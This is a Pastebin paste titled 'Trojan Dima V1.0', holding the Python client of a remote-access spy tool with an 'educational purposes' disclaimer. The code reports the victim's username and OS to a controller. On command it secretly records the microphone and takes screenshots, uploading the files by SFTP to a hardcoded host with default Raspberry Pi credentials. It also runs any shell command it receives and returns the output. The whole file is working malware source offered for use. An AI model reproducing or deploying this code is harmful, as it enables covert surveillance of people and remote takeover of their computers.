Advertisement
Guest User

Trojan Dima V1.0

a guest
Sep 27th, 2016
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.48 KB | None | 0 0
  1. # -------------------------------------------------------------------------------------------------
  2. #
  3. # DEVELOPED BY: DMITRIY DIMCENCO
  4. # VERSION: 1.0.0
  5. #
  6. # -------------------------------------------------------------------------------------------------
  7. #
  8. # THIS SOFTWARE WAS DEVELOPED AND CAN ONLY BE USED WITH EDUCATIONAL PURPOSES,
  9. # THE DEVELOPER ISN'T RESPONSIBLE FOR ABUSIVE USE OF THIS SOFTWARE.
  10. # THIS SOFTWARE IS FREE OF ANY TYPE OF LICENSE AND CAN BE USED WITHOUT ANY
  11. # PRIOR CONSENTIMENT FROM THE DEVELOPER.
  12. #
  13. # -------------------------------------------------------------------------------------------------
  14. #
  15. # INFORMATIONS - INSTRUCTIONS
  16. #
  17. # SPY-TOOL V1.0.0 - CLIENT
  18. #
  19. # SYSTEM REQUIREMENTS ? :
  20. # - WINDOWS OR LINUX(UNIX)
  21. # - PYTHON (WAS DEVELOPED UNDER 2.7 VERSION)
  22. # - EXTRA PYTHON MODULES (CHECK IMPORT ZONE)
  23. #
  24. # LINK TO PYTHON DOWNLOAD - https://www.python.org/downloads/
  25. #
  26. # USAGE:
  27. # python server-spy.py
  28. #
  29. # -------------------------------------------------------------------------------------------------
  30.  
  31. import platform
  32. import getpass
  33. import pyaudio
  34. import ftplib
  35. import socket
  36. import wave
  37. import sys
  38. import wx
  39. import os
  40.  
  41. # -------------------------------------------------------------------------------------------------
  42.  
  43. os_system = platform.system() + ' ' + platform.release()
  44. username = getpass.getuser()
  45.  
  46. # -------------------------------------------------------------------------------------------------
  47.  
  48.  
  49. class FileHandler(object):
  50.     def __init__(self, file_to_send):
  51.         self.host = '192.168.1.68'
  52.         self.user_name = 'pi'
  53.         self.password = 'raspberry'
  54.         self.file_name = file_to_send
  55.  
  56.     def send(self):
  57.         import paramiko
  58.         ssh = paramiko.SSHClient()
  59.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  60.         ssh.connect(self.host, username=self.user_name, password=self.password)
  61.         sftp = ssh.open_sftp()
  62.         localpath = self.file_name
  63.         remotepath = '/home/pi/' + localpath
  64.         sftp.put(localpath, remotepath)
  65.         sftp.close()
  66.         ssh.close()
  67.  
  68. # -------------------------------------------------------------------------------------------------
  69.  
  70.  
  71. class Webcam(object):
  72.     @staticmethod
  73.     def take_shot():
  74.         pass
  75.  
  76. # -------------------------------------------------------------------------------------------------
  77.  
  78.  
  79. class Audio(object):
  80.     def __init__(self, seconds):
  81.         self.FORMAT = pyaudio.paInt16
  82.         self.CHANNELS = 2
  83.         self.RATE = 44100
  84.         self.CHUNK = 1024
  85.         self.file_count = 0
  86.         self.WAVE_OUTPUT_FILENAME = 'record' + str(self.file_count) + '.wav'
  87.  
  88.         while os.path.isfile(self.WAVE_OUTPUT_FILENAME):
  89.             self.file_count += 1
  90.  
  91.         self.RECORD_SECONDS = int(seconds)
  92.         self.audio = pyaudio.PyAudio()
  93.         self.file_handler = FileHandler(self.WAVE_OUTPUT_FILENAME)
  94.  
  95.     def record_mic(self):
  96.         stream = self.audio.open(format=self.FORMAT,
  97.                                  channels=self.CHANNELS,
  98.                                  rate=self.RATE,
  99.                                  input=True,
  100.                                  frames_per_buffer=self.CHUNK)
  101.  
  102.         frames = []
  103.  
  104.         for i in range(0, int(self.RATE / self.CHUNK * self.RECORD_SECONDS)):
  105.             data = stream.read(self.CHUNK)
  106.             frames.append(data)
  107.  
  108.         stream.stop_stream()
  109.         stream.close()
  110.         self.audio.terminate()
  111.  
  112.         wv = wave.open(self.WAVE_OUTPUT_FILENAME, 'wb')
  113.         wv.setnchannels(self.CHANNELS)
  114.         wv.setsampwidth(self.audio.get_sample_size(self.FORMAT))
  115.         wv.setframerate(self.RATE)
  116.         wv.writeframes(b''.join(frames))
  117.         wv.close()
  118.  
  119.         self.file_handler.send()
  120.  
  121. # -------------------------------------------------------------------------------------------------
  122.  
  123.  
  124. class Screen(object):
  125.     def __init__(self):
  126.         self.SCREENSHOT_FILENAME = 'screenshot0.png'
  127.  
  128.     def take_screenshot(self):
  129.         app = wx.App()
  130.         screen = wx.ScreenDC()
  131.         size = screen.GetSize()
  132.         bmp = wx.EmptyBitmap(size[0], size[1])
  133.         mem = wx.MemoryDC(bmp)
  134.         mem.Blit(0, 0, size[0], size[1], screen, 0, 0)
  135.         del mem
  136.         bmp.SaveFile(self.SCREENSHOT_FILENAME, wx.BITMAP_TYPE_PNG)
  137.  
  138.         file_handler = FileHandler(self.SCREENSHOT_FILENAME)
  139.         file_handler.send()
  140.  
  141. # -------------------------------------------------------------------------------------------------
  142.  
  143.  
  144. class RequestHandler(object):
  145.     def __init__(self):
  146.         self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  147.         self.host = 'localhost'
  148.         self.port = 8888
  149.  
  150.     def handle_request(self):
  151.         try:
  152.             self.client.connect((self.host, self.port))
  153.  
  154.         except socket.error, error:
  155.             print '  [-] Error - ' + str(error)
  156.             sys.exit(0)
  157.  
  158.         self.client.send('Username: ' + username + ' - OS: ' + os_system)
  159.  
  160.         while True:
  161.             option = self.client.recv(1024)
  162.  
  163.             if option == 'webcam_snap':
  164.                 webcam = Webcam()
  165.                 webcam.take_shot()
  166.                 self.client.send('  [+] Webcam shot (success)')
  167.  
  168.             elif option == 'record_mic':
  169.                 self.client.send('  Record time (seconds)')
  170.                 seconds = self.client.recv(1024)
  171.  
  172.                 audio = Audio(seconds)
  173.                 audio.record_mic()
  174.                 self.client.send('  [+] Record mic (success)')
  175.  
  176.             elif option == 'take_screenshot':
  177.                 screen = Screen()
  178.                 screen.take_screenshot()
  179.                 self.client.send('  [+] Screenshot (success)')
  180.  
  181.             elif option == 'os_cmd':
  182.                 self.client.send('OST1')
  183.  
  184.                 cmd = self.client.recv(1024)
  185.                 output = os.popen(cmd).read()
  186.                 self.client.send(output)
  187.  
  188.             elif option == 'prog_quit':
  189.                 self.client.send('prog_quit')
  190.                 self.client.shutdown(socket.SHUT_WR)
  191.                 sys.exit(0)
  192.  
  193.             else:
  194.                 self.client.send('  [-] Invalid input, try again')
  195.  
  196. # -------------------------------------------------------------------------------------------------
  197.  
  198.  
  199. def main():
  200.     req_handl = RequestHandler()
  201.     req_handl.handle_request()
  202.  
  203. if __name__ == '__main__':
  204.     main()
  205.  
  206. # -------------------------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement